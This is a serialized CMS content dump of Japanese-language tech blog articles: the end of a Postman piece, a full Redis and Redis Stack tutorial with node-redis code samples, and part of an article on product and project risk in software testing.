この場合においては、担当開発者に過不足なレスポンスパラメータを削除・補足するように依頼してください。",[530,19080],{"className":19081,"alt":64,"src":19082,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27110435\u002FLine-111_script_check-result_case5_JP-1024x436.png",[495,19084,19086],{"id":19085},"_3参考元",[20,19087,19088],{},"3.参考元",[11,19090,19091],{},[57,19092,19093],{"href":19093,"rel":19094},"https:\u002F\u002Flearning.postman.com\u002Fdocs\u002Fsending-requests\u002Fvariables\u002F",[61],[11,19096,19097],{},[57,19098,19099],{"href":19099,"rel":19100},"https:\u002F\u002Fgiangtester.com\u002Fcategory\u002Fapi-testing\u002Fpostman\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":19102},[19103,19104,19109],{"id":18442,"depth":65,"text":18443},{"id":18456,"depth":65,"text":18457,"children":19105},[19106,19107,19108],{"id":18463,"depth":1375,"text":18464},{"id":18570,"depth":1375,"text":18571},{"id":18721,"depth":1375,"text":18722},{"id":19085,"depth":65,"text":19088},"2023-04-14","POSTMANは、2012年に初めてリリースされ、約10年間にわたって2,500万人以上のユーザーを獲得し、API（アプリケーション・プログラミング・インターフェイスという(Application Programming Interfaceの略）のテストに使われる最も人気のあるツールとなっています。POSTMANは、HTTPのPOST・PUT・GET・DELETEメソッドによるリクエスト送信、JSON・XML形式での返却データ確認、Collection機能によるリクエスト管理、インポート・エクスポート機能によるデータ共有といった多種多様な機能を提供してくれるので、 プログラミングの知識を持たない者でも簡易に使えます。",{},"\u002Fja\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich",{"title":18424,"description":19111},"ja\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F12155723\u002Fpostman_image-2.png","ftM0OvSrU_v5Fkq7TY97kaHKPrBsFBwGhIrBsDi6XE8",{"id":19119,"title":19120,"body":19121,"category":1388,"created by":68,"date":19665,"description":19666,"extension":71,"meta":19667,"navigation":73,"path":19668,"sections":75,"seo":19669,"stem":19670,"thumbnail":19671,"__hash__":19672},"content_ja\u002Fja\u002Fnews\u002Fredis-va-redis-stack.md","RedisおよびRedis Stack",{"type":8,"value":19122,"toc":19650},[19123,19126,19141,19144,19147,19150,19153,19156,19159,19162,19165,19171,19177,19183,19189,19195,19199,19202,19206,19209,19212,19216,19219,19226,19229,19234,19242,19247,19255,19262,19265,19270,19281,19286,19294,19296,19299,19302,19306,19310,19313,19316,19319,19322,19325,19328,19331,19335,19338,19358,19365,19369,19373,19385,19390,19396,19399,19405,19408,19411,19414,19419,19425,19432,19438,19443,19449,19455,19461,19464,19467,19470,19473,19477,19482,19507,19513,19516,19521,19527,19533,19538,19544,19550,19555,19561,19565,19569,19572,19578,19583,19588,19591,19597,19602,19608,19612,19615,19618,19621,19625,19631,19637,19644],[495,19124,19125],{"id":19125},"初めに",[11,19127,19128,19129,19132,19133,19136,19137,19140],{},"Redisは",[20,19130,19131],{},"Re","mote ",[20,19134,19135],{},"Di","ctionary ",[20,19138,19139],{},"S","erverの略称であり、NoSQLデータベース管理システムの一つです。",[11,19142,19143],{},"Redisは高性能でメモリ上にキーバリュー型のデータを格納するために使われます。",[11,19145,19146],{},"Redisは、データベース、キャッシュ、メッセージブローカーなどとして使用できます。処理速度を向上させるために、RAMに格納されたデータベースとして使用もできます。",[11,19148,19149],{},"Redisは、1ミリ秒未満の速度で応答時間を提供します。Redisでは、RAM上に格納するので、速度がハードディスクドライブへの格納より速いです。HDD、SSDへのアクセスに比べると、それぞれで、約150,000倍、約500倍速くなります。",[11,19151,19152],{},"マイクロサービス間との連携に適します。",[660,19154,19155],{"id":19155},"基本特徴",[1750,19157,19158],{"id":19158},"データモデル",[11,19160,19161],{},"Redisはテーブルがありません。Redisはキーバリュー形式でデータを保存します。",[11,19163,19164],{},"以下にRedisのデータ型を示します。",[11,19166,19167,19170],{},[20,19168,19169],{},"STRING型","：文字列であり、整数でもあり、浮動小数点数でもあります。Redisは、文字列全体または文字列の要素を処理でき、整数や浮動小数点数のインクリメント・デクリメントを処理できます。",[11,19172,19173,19176],{},[20,19174,19175],{},"LIST型","：文字列の連結リストです。 Redisは、リストの両側からのプッシュ、ポップ、オフセットによるトリミング、単一または複数のリスト要素の読取、値の探索、削除をサポートします。",[11,19178,19179,19182],{},[20,19180,19181],{},"SET型","：並び替えない文字列の集合です。Redisは、要素の追加・読取・削除、および、要素が集合に存在するかの確認をサポートします。さらに、Redisは、intersect、union、differenceといった集合演算もサポートします。",[11,19184,19185,19188],{},[20,19186,19187],{},"HASH型","：偶然に並び替えるキーと値のペアのハッシュテーブルを格納します。 Redisは、要素の追加・読取・削除、および、全値の読取をサポートします。",[11,19190,19191,19194],{},[20,19192,19193],{},"ZSET型","（sorted set）：要素が 1 つの文字列（メンバー）と 1 つの浮動小数点数（スコア）とのマップであるリストで、このスコアで並び替えられます。Redisは、要素の追加・読取・削除、および、文字列またはスコアのランクによる要素の抽出をサポートします。",[1750,19196,19198],{"id":19197},"replication-persistence","Replication – Persistence:",[11,19200,19201],{},"Redisは、プライマリ・レプリカ構成を使って、データを異なるサーバーへと複製できるような非同期レプリケーションをサポートします。これにより、リクエストが各サーバーの間で分散されるので読み取る性能がされ、メインサーバーが障害によって停止された場合、迅速に復旧できます。 永続性については、Redisはポイント・イン・タイム・バックアップ（すなわち、Redisデータをディスクに複製）をサポートします。",[1750,19203,19205],{"id":19204},"in-memory-data-store","In-Memory Data Store",[11,19207,19208],{},"RedisはデータをRAMに格納するため、データの読み書きはハードディスクドライブよりもはるかに高速です",[11,19210,19211],{},"ただし、すべてのデータはRAM上に格納されているので、サーバーが停止されたら、無くなりますが、その対策としては、Redis Persistenceを使うことで対応できます。",[1750,19213,19215],{"id":19214},"persistent-redis","Persistent redis",[11,19217,19218],{},"Redisは、RAM上に格納されているキーバリュー型のデータを動作しますが、サーバー停止などの障害が起きた場合にデータを保管すること及びサーバー再起動の時にデータを再生成するため、ハードディスクドライブへの格納も必要になります。Redisは、データをハードディスクドライブに複製するため、RDBとAOFという二つの方式を提供してくれます。",[11,19220,19221],{},[2645,19222,19223],{},[20,19224,19225],{},"RDB (Redis Database)",[11,19227,19228],{},"RDBは、一定期間ごとにDBのスナップショットを作成し、ディスクにデータを複製します。",[11,19230,19231],{},[2645,19232,19233],{},"RDBのメリット",[31,19235,19236,19239],{},[34,19237,19238],{},"RDBでは、DBを異なるバージョンで保存できます。これにより、障害が起きた時に便利です。",[34,19240,19241],{},"RDBは、Redisのパフォーマンスを最適化するのに役立ちます。Redisのメインプロセスは、クライアントからリクエストする追加、読取、削除といった基本的な操作を含めた動作をRAM上に行います。それに対して、サブプロセスがディスクにI\u002FO操作を行います。このような構成はRedisのパフォーマンスの最適化にとても役立ちます。",[11,19243,19244],{},[2645,19245,19246],{},"RDBのデメリット",[31,19248,19249,19252],{},[34,19250,19251],{},"通常、ユーザーは5分 (またはそれ以上) ごとに RDBスナップショットを作成するように設定します。そのため、障害が起きた時、Redisが動かなくなり、最新の時刻のデータのみ失われます。",[34,19253,19254],{},"RDB は fork を使用して、ディスク I\u002FO 操作用の子プロセスを作成する必要があります。データが大きすぎると、forkプロセスに時間がかかり、データ量と CPU パフォーマンスによっては、サーバーがクライアントからのリクエストに数ミリ秒または 1 秒応答できなくなります。",[11,19256,19257],{},[2645,19258,19259],{},[20,19260,19261],{},"AOF (Append Only File)",[11,19263,19264],{},"AOFは、サーバーが受信したすべての書き込み操作を保存します。これらの操作は、サーバーの再起動時またはデータセットのリセット時に再実行されます。",[11,19266,19267],{},[2645,19268,19269],{},"AOFのメリット",[31,19271,19272,19275,19278],{},[34,19273,19274],{},"AOF Redisは、データセットがより安定することを確保します。毎秒ごとにまたはクエリごとにログを出力するようにRedisを設定できます。",[34,19276,19277],{},"Redisは AOFログを既存のファイルの末尾に追加する形で出力するため、既存のファイルのシークプロセスは不要です。何らかの理由 (ディスク領域不足または他の理由) でログが途中で書かれたコマンドで終了した場合においても、redis-check-aof ツールを使用すると簡単に修正することができます。",[34,19279,19280],{},"Redis はバックグラウンド プロセスを提供し、ファイル サイズが大きすぎる場合に AOFファイルを登録します。 Redisは、古いファイルに追加をしている間、現在のデータセットを作成するのに必要な操作を使って完全に新しいものを生成し、この2番目のファイルの準備ができたらRedisが2つを切り替え新しいものへの追加を開始するため、この登録は完全に安全です。",[11,19282,19283],{},[2645,19284,19285],{},"AOFのデメリット",[31,19287,19288,19291],{},[34,19289,19290],{},"通常、AOFファイルは、同じデータセットの同等のRDBファイルより大きくなります。",[34,19292,19293],{},"AOFは、正確なfsyncポリシーに応じて、RDBよりも遅くなるかもしれません。一般的に毎秒ごとに設定されたfsyncのパフォーマンスは依然として高く、fsyncを無効にすると高負荷でもRDBとまったく同じ速度で動作するはずです。それでもRDBは書き込みの負荷が大きい場合でも最大レイテンシについてはより多くの保証を提供できます。",[660,19295,14564],{"id":14564},[11,19297,19298],{},"ほとんどのタスクがディスクドライブへのアクセスの繰り返しを必要とする従来のデータベースとは異なり、Redisは単純に計算結果を取得します。そのため、Redisのパフォーマンスは、低レンテンシと高スループットで一般的な読み書きのタスクが著しく高速になります。",[11,19300,19301],{},"その結果、より多くの操作をサポートし、応答時間を10倍高速化します。平均でミリ秒未満の読み書きの操作を実現でき、1 秒間に数百万件の操作をサポートできます。",[530,19303],{"className":19304,"alt":64,"src":19305,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F05151236\u002Fnosql-benchmark-200000.png",[660,19307,19309],{"id":19308},"redisの一般的なユースケース","Redisの一般的なユースケース",[11,19311,19312],{},"キャッシュ",[11,19314,19315],{},"処理待ちのタスク一覧",[11,19317,19318],{},"ゲームのリーダーボード",[11,19320,19321],{},"セッション管理",[11,19323,19324],{},"マシンラーニング",[11,19326,19327],{},"リアルタイム分析",[11,19329,19330],{},"など",[495,19332,19334],{"id":19333},"redis-stack","Redis Stack",[11,19336,19337],{},"Redis Stackは、データモデルと処理エンジンを追加するRedisの拡張機能です。プログラマーがリクエストをミリ秒単位で確実に処理できるバックエンドデータプラットフォームを備えたリアルタイムアプリケーションを構築できるようにするために作成されました。",[11,19339,19340,19341,19344,19345,19344,19348,19344,19351,19344,19354,19357],{},"Redis Stackには",[20,19342,19343],{},"RedisJSON","、",[20,19346,19347],{},"RediSearch",[20,19349,19350],{},"RedisGraph",[20,19352,19353],{},"RedisTimeSeries",[20,19355,19356],{},"RedisBloom","の5つのモジュールパッケージがあります。",[11,19359,19360,19361,19364],{},"さらに、Redis Stackには、データを視覚化・最適化するツールである",[20,19362,19363],{},"RedisInsight","も含まれます。",[530,19366],{"className":19367,"alt":64,"src":19368,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F10104316\u002FRedisInsight-1024x545.png",[11,19370,19372],{"className":19371},[2499,2500,2501,2502,2503],"\nRedisInsightの画面\n",[11,19374,19375,19376,19379,19380,7294,19382,19384],{},"Redis Stackがどのように動作するかを理解するために、",[20,19377,19378],{},"node-redis","ライブラリで",[20,19381,19343],{},[20,19383,19347],{},"モジュールを使用する方法を説明します。",[11,19386,19387,19389],{},[20,19388,19378],{},"ライブラリのインストール",[696,19391,19394],{"className":19392,"code":19393,"language":701},[699],"npm install redis\n",[703,19395,19393],{"__ignoreMap":64},[11,19397,19398],{},"Redisサーバーへの接続",[696,19400,19403],{"className":19401,"code":19402,"language":701},[699],"import { createClient } from 'redis';\n\nconst client = createClient({\n  url: 'redis[s]:\u002F\u002F[[username][:password]@][host][:port][\u002Fdb-number]'\n});\n\nclient.on('error', (err) => console.log('Redis Client Error', err));\n\nawait client.connect();\n",[703,19404,19402],{"__ignoreMap":64},[660,19406,19343],{"id":19407},"redisjson",[11,19409,19410],{},"RedisJSONは、Redisで JSONをサポートするため提供される Redis モジュールです。 RedisJSONを使うと、他の Redis データ型と同様に、RedisでJSON値を登録・更新・取得することができます。また、RedisJSONはRediSearchと同時に動作し、JSON ドキュメントのインデックス作成とクエリを実行できるようにします。",[11,19412,19413],{},"ドキュメントはツリー構造のバイナリ データとして格納されるため、子要素に素早くアクセスできます。",[11,19415,19416],{},[20,19417,19418],{},"JSONドキュメントのRedisへの保存",[11,19420,19421,19424],{},[703,19422,19423],{},"JSON.SET","コマンドは、Redisキーの指定されたJSONパスにJSON値を格納します。",[11,19426,19427,19428,19431],{},"ここでは、JSONドキュメントをRedisキー\"",[703,19429,19430],{},"users","\"のルートディレクトリに保存します。",[696,19433,19436],{"className":19434,"code":19435,"language":701},[699],"await client.json.set('noderedis:users', '$', {\n    name: 'Alice',\n    age: 29\n});\n",[703,19437,19435],{"__ignoreMap":64},[11,19439,19440],{},[20,19441,19442],{},"RedisからJSONドキュメントを抽出",[696,19444,19447],{"className":19445,"code":19446,"language":701},[699],"const results = await client.json.get('noderedis:users');\n",[703,19448,19446],{"__ignoreMap":64},[11,19450,19451,19454],{},[703,19452,19453],{},"results","の結果は 以下のように返却されます。",[696,19456,19459],{"className":19457,"code":19458,"language":701},[699],"{ name: 'Alice', age: 29 }\n",[703,19460,19458],{"__ignoreMap":64},[660,19462,19347],{"id":19463},"redisearch",[11,19465,19466],{},"RediSearchは、クエリ、サブインデックス作成、と検索機能を提供するRedisモジュールです。 RediSearchを使用するには、最初に、Redisデータのインデックスを宣言します。 その後、RediSearchクエリ言語を使用してそのデータをクエリできます。",[11,19468,19469],{},"RediSearchは圧縮された逆インデックスを使用して、少ないメモリで迅速にインデックスを作成します。",[11,19471,19472],{},"RediSearchは、正確なフレーズマッチング、あいまい検索 (類似検索)、やテキストクエリの数値フィルタリングなどを提供します。",[660,19474,19476],{"id":19475},"redis-hashesでのインデックス作成とクエリ","Redis Hashesでのインデックス作成とクエリ",[11,19478,19479],{},[20,19480,19481],{},"インデックス作成",[11,19483,19484,19485,19488,19489,19492,19493,19344,19496,19344,19499,19502,19503,19506],{},"検索を行う前に、RediSearchにデータのインデックスを作成する方法と、データを検索するためのキーを指定する必要があります。",[20,19486,19487],{},"FT.CREATE","コマンドは 、RediSearchインデックスを作成します。 これを使用して",[703,19490,19491],{},"idx:animals","と呼ぶインデックスを作成する方法は次のとおりです。ここで、",[703,19494,19495],{},"name",[703,19497,19498],{},"species",[703,19500,19501],{},"age","の各項目及び接頭辞",[703,19504,19505],{},"noderedis:animals","で始まるRedisのキー名を含むハッシュにインデックスを付けます",[696,19508,19511],{"className":19509,"code":19510,"language":701},[699],"await client.ft.create('idx:animals', {\n  name: {\n    type: SchemaFieldTypes.TEXT,\n    sortable: true\n  },\n    species: SchemaFieldTypes.TAG,\n    age: SchemaFieldTypes.NUMERIC\n  }, {\n    ON: 'HASH',\n    PREFIX: 'noderedis:animals'\n  }\n);\n",[703,19512,19510],{"__ignoreMap":64},[11,19514,19515],{},"インデックスを作成したあと、対応する接頭辞を付けるすべての新しいハッシュドキュメントが、作成時に自動的にインデックスされます。",[11,19517,19518],{},[20,19519,19520],{},"ドキュメント追加",[11,19522,19523,19526],{},[20,19524,19525],{},"HSET","コマンドを使って、新しいハッシュドキュメントを作成し、インデックスに追加します。",[696,19528,19531],{"className":19529,"code":19530,"language":701},[699],"await client.hSet('noderedis:animals:1', {name: 'Fluffy', species: 'cat', age: 3});\nawait client.hSet('noderedis:animals:2', {name: 'Ginger', species: 'dog', age: 4});\n",[703,19532,19530],{"__ignoreMap":64},[11,19534,19535],{},[20,19536,19537],{},"インデックス検索",[11,19539,19540,19543],{},[20,19541,19542],{},"FT.SEARCH","を使って、特定の単語を含むドキュメントのインデックスを検索ます。",[696,19545,19548],{"className":19546,"code":19547,"language":701},[699],"const results = await client.ft.search(\n    'idx:animals', \n    '@species:{dog}',\n    {\n      SORTBY: {\n        BY: 'age',\n        DIRECTION: 'DESC' \u002F\u002F or 'ASC' (default if DIRECTION is not present)\n      }\n    }\n  );\n",[703,19549,19547],{"__ignoreMap":64},[11,19551,19552,19554],{},[703,19553,19453],{},"の結果は以下のように返却されます。",[696,19556,19559],{"className":19557,"code":19558,"language":701},[699],"{\n  total: 1,\n  documents: [\n    {\n      id: 'noderedis:animals:2',\n      value: {\n        name: 'Ginger',\n        species: 'dog',\n        age: '4'\n      }\n    }\n  ]\n}\n",[703,19560,19558],{"__ignoreMap":64},[660,19562,19564],{"id":19563},"redisjsonでのインデックス作成とクエリ","RedisJSONでのインデックス作成とクエリ",[11,19566,19567],{},[20,19568,19481],{},[11,19570,19571],{},"JSONドキュメントのインデックスを作成するために、以下のように実装します。",[696,19573,19576],{"className":19574,"code":19575,"language":701},[699],"await client.ft.create('idx:users', {\n    '$.name': {\n        type: SchemaFieldTypes.TEXT,\n        SORTABLE: 'UNF'\n    },\n    '$.age': {\n        type: SchemaFieldTypes.NUMERIC,\n        AS: 'age'\n    },\n}, {\n    ON: 'JSON',\n    PREFIX: 'noderedis:users'\n});\n",[703,19577,19575],{"__ignoreMap":64},[11,19579,19580],{},[20,19581,19582],{},"インデックスクエリ",[11,19584,19585,19587],{},[703,19586,19542],{},"コマンドとRediSearchクエリ言語を使用します。",[11,19589,19590],{},"例：30歳未満のユーザーを検索するクエリは以下のようになります。",[696,19592,19595],{"className":19593,"code":19594,"language":701},[699],"const results = await client.ft.search('idx:users', '@age:[0 30]');\n",[703,19596,19594],{"__ignoreMap":64},[11,19598,19599,19601],{},[703,19600,19453],{},"の結果は以下のように 返却されます。",[696,19603,19606],{"className":19604,"code":19605,"language":701},[699],"{\n  \"total\": 1,\n  \"documents\": [\n    {\n      \"id\": \"noderedis:users\",\n      \"value\": {\n        \"name\": \"Alice\",\n        \"age\": 29\n      }\n    }\n  ]\n}\n",[703,19607,19605],{"__ignoreMap":64},[495,19609,19610],{"id":7231},[20,19611,7231],{},[11,19613,19614],{},"Redisは、多くのメリットを持ちオープンソースデータストアであるため、ソフトウェア開発において広く使用されています。",[11,19616,19617],{},"Redisは、リアルタイム性の求められるアプリケーションやデータキャッシュに最適です。簡単に設定でき、非常に高速に応答でき、柔軟なデータ構造をサポートするからです。",[11,19619,19620],{},"Redisは、Memcachedと比較してRAM上にデータを保存する同じメカニズムを使用しますが、サーバー側でより多くのデータ型と操作をサポートします。 また、Redisは、Memcachedにはないですが、データをバックアップするメカニズムも用意します。 したがって、複雑なデータ構造を持つシステムをキャッシュしたい場合は、Redisの方が適します",[495,19622,19623],{"id":5465},[20,19624,5465],{},[11,19626,19627],{},[57,19628,19629],{"href":19629,"rel":19630},"https:\u002F\u002Fredis.io\u002Fdocs\u002F",[61],[11,19632,19633],{},[57,19634,19635],{"href":19635,"rel":19636},"https:\u002F\u002Fredis.js.org\u002F",[61],[11,19638,19639],{},[57,19640,19643],{"href":19641,"rel":19642},"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver.html",[61],"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver",[11,19645,19646],{},[57,19647,19648],{"href":19648,"rel":19649},"https:\u002F\u002Fgithub.com\u002Fredis\u002Fnode-redis",[61],{"title":64,"searchDepth":65,"depth":65,"links":19651},[19652,19657,19663,19664],{"id":19125,"depth":65,"text":19125,"children":19653},[19654,19655,19656],{"id":19155,"depth":1375,"text":19155},{"id":14564,"depth":1375,"text":14564},{"id":19308,"depth":1375,"text":19309},{"id":19333,"depth":65,"text":19334,"children":19658},[19659,19660,19661,19662],{"id":19407,"depth":1375,"text":19343},{"id":19463,"depth":1375,"text":19347},{"id":19475,"depth":1375,"text":19476},{"id":19563,"depth":1375,"text":19564},{"id":7231,"depth":65,"text":7231},{"id":5465,"depth":65,"text":5465},"2022-09-13","初めにRedisはRemote Dictionary Serverの略称であり、NoSQLデータベース管理システムの一つです。Redisは高性能でメモリ上にキーバリュー型のデータを格納するために使われます。",{},"\u002Fja\u002Fnews\u002Fredis-va-redis-stack",{"title":19120,"description":19666},"ja\u002Fnews\u002Fredis-va-redis-stack","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03093000\u002Fredis.png","g0zB7TVqldLB9Lxglfoj_YXHLdOfx6iNMK_9NuD8QzQ",{"id":19674,"title":19675,"body":19676,"category":20063,"created by":68,"date":20064,"description":19680,"extension":71,"meta":20065,"navigation":73,"path":20066,"sections":75,"seo":20067,"stem":20068,"thumbnail":20069,"__hash__":20070},"content_ja\u002Fja\u002Fnews\u002Frui-ro-va-kiem-thu.md","リスクとテスト",{"type":8,"value":19677,"toc":20053},[19678,19681,19684,19687,19691,19696,19699,19702,19734,19739,19742,19745,19748,19771,19774,19779,19782,19787,19790,19797,19800,19807,19810,19815,19818,19823,19826,19831,19834,19837,19842,19847,19855,19860,19871,19876,19887,19890,19895,19898,19903,19906,19911,19914,19919,19922,19927,19930,19935,19938,19941,19946,19949,19952,19955,19958,19961,19966,19969,19972,19975,19980,19983,20003,20006,20011,20014,20017,20037,20040,20043,20047],[11,19679,19680],{},"リスクは、「将来、否定的な結果をもたらす可能性がある事象」として定義されます。リスクの程度は、その事象が発生する確率と、発生した場合に生じる影響（つまり損害）によって決まります。",[11,19682,19683],{},"言い換えれば、リスクとは、不利益をもたらす可能性のある「何か」のことです。この「何か」は、現実になる可能性（ここでは「可能性」と呼ばれる）と、現実になった場合に引き起こす損害の大きさ（ここでは「影響」と呼ばれる）の2つの観点から評価されます。リスクとして特定された場合、その重要性や対応の優先度を決めるために「リスクレベル」を設定します。",[11,19685,19686],{},"プロジェクトのステークホルダーやプロダクトのユーザーが被る可能性のある不利益を回避または軽減するための方法、すなわちリスクヘッジの手法について解説します。",[660,19688,19690],{"id":19689},"リスクには大きく分けてプロダクトリスクとプロジェクトリスクがあります以下でそれぞれについて解説します","リスクには大きく分けて、プロダクトリスクとプロジェクトリスクがあります。以下でそれぞれについて解説します。",[1750,19692,19694],{"id":19693},"プロダクトリスク",[20,19695,19693],{},[11,19697,19698],{},"プロダクトリスクとは、「作業成果物（例：仕様書、コンポーネント、システム、テストケースなど）がユーザーやステークホルダーの正当なニーズを満たせないリスク」を指します。プロダクト自体がテスト対象であるため、テスト不足による損失やダメージをプロダクトリスクと捉えることができます。そのため、プロダクトリスクは開発プロセス全体に重大な影響を与える可能性がある要素として認識すべきです。",[11,19700,19701],{},"プロダクトリスクは、プロダクトが求められる品質基準に応じて異なります。以下に具体例を示します。",[199,19703,19704,19710,19716,19722,19728],{},[34,19705,19706,19709],{},[20,19707,19708],{},"不具合のあるソフトウェアのリリース："," リリース後に不具合が発生すると、修正対応に伴うコストが企業にとっての損失となります。",[34,19711,19712,19715],{},[20,19713,19714],{},"ソフトウェアやハードウェアによる損害の可能性："," 不具合が原因で個人や企業に損害を与える場合があり、法的責任（製造物責任など）や損害賠償の対象となることがあります。また、訴訟リスクだけでなく、風評被害などの間接的な影響も懸念されます。",[34,19717,19718,19721],{},[20,19719,19720],{},"品質特性の低さ："," 機能は満たしていても、セキュリティや信頼性、パフォーマンスなどが不足している場合、製品の魅力や信頼性が低下します。",[34,19723,19724,19727],{},[20,19725,19726],{},"データ完全性や品質の不備："," データ移行や変換の問題により、プロダクトの機能性が損なわれることがあります。データの正確性や妥当性の検証が重要です。",[34,19729,19730,19733],{},[20,19731,19732],{},"予定された機能の動作不良："," 基本的な機能が正常に動作しない場合、顧客からの支払いが受けられない、または損害賠償を求められるリスクがあります。",[1750,19735,19737],{"id":19736},"リスクへの対応策",[20,19738,19736],{},[11,19740,19741],{},"挙げられたリスクに対しては、事前予防策、事前準備策、事後対応策を検討します。すべてのリスクに対策を講じるわけではなく、リスクの発生確率や影響度（リスクエクスポージャー）を考慮して優先順位を決定します。これらの優先順位付けはプロジェクト計画段階から始まり、テスト計画でより具体化されます。",[11,19743,19744],{},"リスクの軽減方法として、最も分かりやすい手段はテストです。特にリスクの高い機能について、テストを通じて期待通りに動作することを確認することが重要です。テストは効果的な事前予防策の一つといえるでしょう。",[11,19746,19747],{},"テストを考慮しない場合、以下のようなリスクが顕在化する可能性があります。",[31,19749,19750,19753,19756,19759,19762,19765,19768],{},[34,19751,19752],{},"ソフトウェアが仕様通りに動作しない",[34,19754,19755],{},"ユーザーやステークホルダーのニーズを満たさない",[34,19757,19758],{},"システムアーキテクチャが非機能要件を十分に満たさない",[34,19760,19761],{},"特定の計算結果が正確でない場合がある",[34,19763,19764],{},"コードのループ制御に問題がある",[34,19766,19767],{},"高負荷システムで応答時間が不適切",[34,19769,19770],{},"ユーザーエクスペリエンス（UX）が期待に沿わない",[11,19772,19773],{},"リスクを的確に特定し、適切な対応を行うことは、プロダクトの品質と成功を確保するために欠かせません。",[660,19775,19777],{"id":19776},"プロジェクトリスク",[20,19778,19776],{},[11,19780,19781],{},"プロジェクトリスクとは、「発生した場合にプロジェクトの目標達成に悪影響を与えるリスク」と定義されます。プロジェクトリスクは、「ヒト、モノ、カネ」という観点から潜在的な問題を抱えており、テストの観点で管理すべき具体的な内容について以下に説明します。",[1750,19783,19785],{"id":19784},"ヒト",[20,19786,19784],{},[11,19788,19789],{},"ヒトに関わる要因は、テストを実施する組織自体や、関連する他の組織の要因に分けられます。",[31,19791,19792],{},[34,19793,19794],{},[20,19795,19796],{},"テストを行う組織やメンバー",[11,19798,19799],{},"テストプロセスを担うエンジニアやその所属組織を指し、スキル不足やトレーニング不足、適切な人員配置の欠如といったリスクが挙げられます。また、人員評価やフォローアップの不足もリスク要因となります。",[31,19801,19802],{},[34,19803,19804],{},[20,19805,19806],{},"他組織との連携",[11,19808,19809],{},"プロジェクト管理部門、開発チーム、サポート部門などの関係組織との連携が不十分だと、情報不足や計画ミスが発生する可能性があります。",[1750,19811,19813],{"id":19812},"モノ",[20,19814,19812],{},[11,19816,19817],{},"モノは、テストに関わるハードウェア、ソフトウェア、ドキュメントなどの「テストウェア」を指します。必要なツールや機材が揃わない、または不備がある場合にリスクが生じます。",[1750,19819,19821],{"id":19820},"カネ",[20,19822,19820],{},[11,19824,19825],{},"カネには、予算や実際のコスト、スケジュール管理に関連する費用が含まれます。直接的な人件費だけでなく、トレーニング費用や環境維持費用など間接コストも考慮する必要があります。",[660,19827,19829],{"id":19828},"プロジェクトリスクの管理",[20,19830,19828],{},[11,19832,19833],{},"プロジェクトリスクの管理は、計画段階で「ヒト、モノ、カネ」に関わる潜在的なリスクを洗い出し、それに対する対策を講じることから始まります。リスクが発生した場合には、計画時の対策を実行し、必要に応じて柔軟に見直すことが求められます。また、発生したリスクは単なるリスクとして扱うのではなく、「解決すべき問題」として具体的な対策を講じるべきです。",[11,19835,19836],{},"なお、プロジェクトリスクの管理は、プロジェクトマネージャーだけでなく、テストマネージャーも責任を共有する場合が一般的です。進捗全体はプロジェクトマネージャーが管理しますが、テストの進捗に関してはテストマネージャーが責任を持つことが多いです。",[660,19838,19840],{"id":19839},"テストにおけるプロジェクトリスクの例",[20,19841,19839],{},[1750,19843,19845],{"id":19844},"スケジュールリスク",[20,19846,19844],{},[31,19848,19849,19852],{},[34,19850,19851],{},"テストで大量の問題が検出され、進行が遅れる",[34,19853,19854],{},"仕様変更や機能追加によって、テストケースの作成が遅れ、スケジュールが崩れる",[1750,19856,19858],{"id":19857},"テスト環境リスク",[20,19859,19857],{},[31,19861,19862,19865,19868],{},[34,19863,19864],{},"必要な機材が調達できず、テスト環境が整備されない",[34,19866,19867],{},"データ変換ツールの遅れにより、テスト環境用データが揃わない",[34,19869,19870],{},"ステージング環境の構築に必要なツールに問題が発生する",[1750,19872,19874],{"id":19873},"テストマネジメントリスク",[20,19875,19873],{},[31,19877,19878,19881,19884],{},[34,19879,19880],{},"必要なスキルや人数を持つ人材が確保できない",[34,19882,19883],{},"テスト計画が不十分で、実行時にリソースが不足する",[34,19885,19886],{},"無計画なリソース割り当てで予算が足りなくなる",[11,19888,19889],{},"プロジェクトリスクを適切に管理することで、テスト活動やプロジェクト全体の成功確率を高めることができます。",[660,19891,19893],{"id":19892},"リスクベースドテストとプロダクト品質",[20,19894,19892],{},[11,19896,19897],{},"「リスクベースのアプローチ」を導入することで、プロダクトリスクを軽減するための予防策を取ることができます。このアプローチでは、特定したリスクに対して以下のような対応を行います。",[1750,19899,19901],{"id":19900},"適用するテスト技法を決定する",[20,19902,19900],{},[11,19904,19905],{},"リスクの優先度が高いと判断された機能に対しては、網羅率を高めるためのテスト技法を選定します。たとえば、ホワイトボックステスト技法ではデシジョンカバレッジ、ブラックボックステスト技法ではデシジョンテーブルテストを用いて、機能仕様を十分にカバーできるようにします。",[1750,19907,19909],{"id":19908},"テストレベルおよびテストタイプを設定する",[20,19910,19908],{},[11,19912,19913],{},"過去に発見された欠陥の分布、欠陥修正がプロジェクトに与える影響、重要なテスト条件に対する高いカバレッジなどを考慮して、適切なテストレベルやテストタイプを選定します。",[1750,19915,19917],{"id":19916},"テスト実行の範囲を決める",[20,19918,19916],{},[11,19920,19921],{},"テスト環境の準備範囲についてもリスクを基に検討できます。たとえば、Webアプリケーションをテストする際に、Internet 